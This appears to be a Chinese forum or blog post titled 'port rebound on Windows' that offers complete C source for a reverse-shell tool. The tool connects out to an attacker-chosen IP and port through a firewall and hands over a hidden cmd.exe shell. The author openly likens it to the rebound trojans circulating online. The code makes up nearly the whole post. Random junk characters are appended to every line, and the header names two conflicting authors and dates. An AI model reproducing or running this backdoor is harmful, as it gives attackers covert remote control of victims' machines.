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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 %v|B *  
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/* ============================== ueudRb  
Rebound port in Windows NT G[=c Ss,  
By wind,2006/7 &8H'eAA  
===============================*/ b=vkiO`2  
#include t_^4`dW`  
#include )pa]ui\t  
~ }P,.QQ  
#pragma comment(lib,"wsock32.lib") CTb%(<r  
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void OutputShell(); AH^/V}9H  
SOCKET sClient; w<#!h6Y=  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; +[VXs~I q  
rp$'L7lrX  
void main(int argc,char **argv) kmW4:EA%  
{ Y4-t7UlS;  
WSADATA stWsaData; V88p;K$+  
int nRet; Ac@VGT:9  
SOCKADDR_IN stSaiClient,stSaiServer; *w&e\i|7  
uT"rq:N  
if(argc != 3) G\i9:7 `  
{ 9w"*y#_  
printf("Useage:\n\rRebound DestIP DestPort\n"); OXA7w.^  
return; dN q$}  
} h{Y",7] !  
D7Z /H'|  
WSAStartup(MAKEWORD(2,2),&stWsaData); gdc<ZYcM  
7#Ft|5$~q  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); tw;}jh  
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stSaiClient.sin_family = AF_INET; <)9y{J}s:  
stSaiClient.sin_port = htons(0); dd;~K&_Q/i  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); W1~0_;  
)7F/O3Tq  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 4RO}<$Nx}  
{ 4s- !7  
printf("Bind Socket Failed!\n"); e ,(mR+a8  
return; vsPu*[%  
} =cI(d ,  
P pb\6|*  
stSaiServer.sin_family = AF_INET; fhiM U8(&  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); V gWRW7Se  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Ml_^ `vn  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) !L(^(;$Kgr  
{ C dn J&N{  
printf("Connect Error!"); u 9e@a9c  
return; K+eM   
} js(pC@<q5  
OutputShell(); .('SW\u-  
} Z@HEj_n  
ftb\0,-   
void OutputShell() j#|ZP-=1_  
{ vh^VxS  
char szBuff[1024]; q9"96({\@  
SECURITY_ATTRIBUTES stSecurityAttributes; i1UsIT  
OSVERSIONINFO stOsversionInfo; e'~3oqSvR  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Q ,g\  
STARTUPINFO stStartupInfo; E GU2fA7x  
char *szShell; ytImB`'\  
PROCESS_INFORMATION stProcessInformation; 5m@V#2^P  
unsigned long lBytesRead; ?<!|  
oH@78D0A  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Nn6%9PX_)  
kiEa<-]  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); w )f#V s  
stSecurityAttributes.lpSecurityDescriptor = 0; :#Wd~~d  
stSecurityAttributes.bInheritHandle = TRUE; *dQSw)R  
5pX6t  
6nn *]|7  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); itz,m r P  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ("KF'fp&M2  
|!ELV 7?(  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); "oyo#-5z  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  wwqEl(  
stStartupInfo.wShowWindow = SW_HIDE; Wtnfa{gP%  
stStartupInfo.hStdInput = hReadPipe; F?0Ykjh3  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; OUnA;_  
pa+hL,w{6  
GetVersionEx(&stOsversionInfo); #!=tDc &  
VbYdZCC  
switch(stOsversionInfo.dwPlatformId) ZJoM?g~WFI  
{ }f ?y* H  
case 1: mH(:?_KrS-  
szShell = "command.com"; zLQx%Yg!  
break; }MySaL>  
default: >*bvw~y,  
szShell = "cmd.exe"; ".%k6W<n  
break; iZmcI;?u  
} =pNY eR_[  
UKGPtKE<  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); *~`(RV  
h[ ZN+M  
send(sClient,szMsg,77,0); i8p6Xht  
while(1) jXJyc'm7  
{ 6BlXLQ,8q  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); JF]JOI6.e  
if(lBytesRead) sO Y:e/_F  
{ A/(a`"mK|'  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); _c07}aQ ],  
send(sClient,szBuff,lBytesRead,0); (FV >m  
} (7Qo  
else hH.G#-JO  
{ BtZyn7a  
lBytesRead=recv(sClient,szBuff,1024,0); sW$XH1Uf#  
if(lBytesRead<=0) break; 0RfZEG)  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); u*R_\*j@  
} c-w)|-ac.  
} z:O8Ls^\T  
)7@0[>  
return; )oZ dj`  
}
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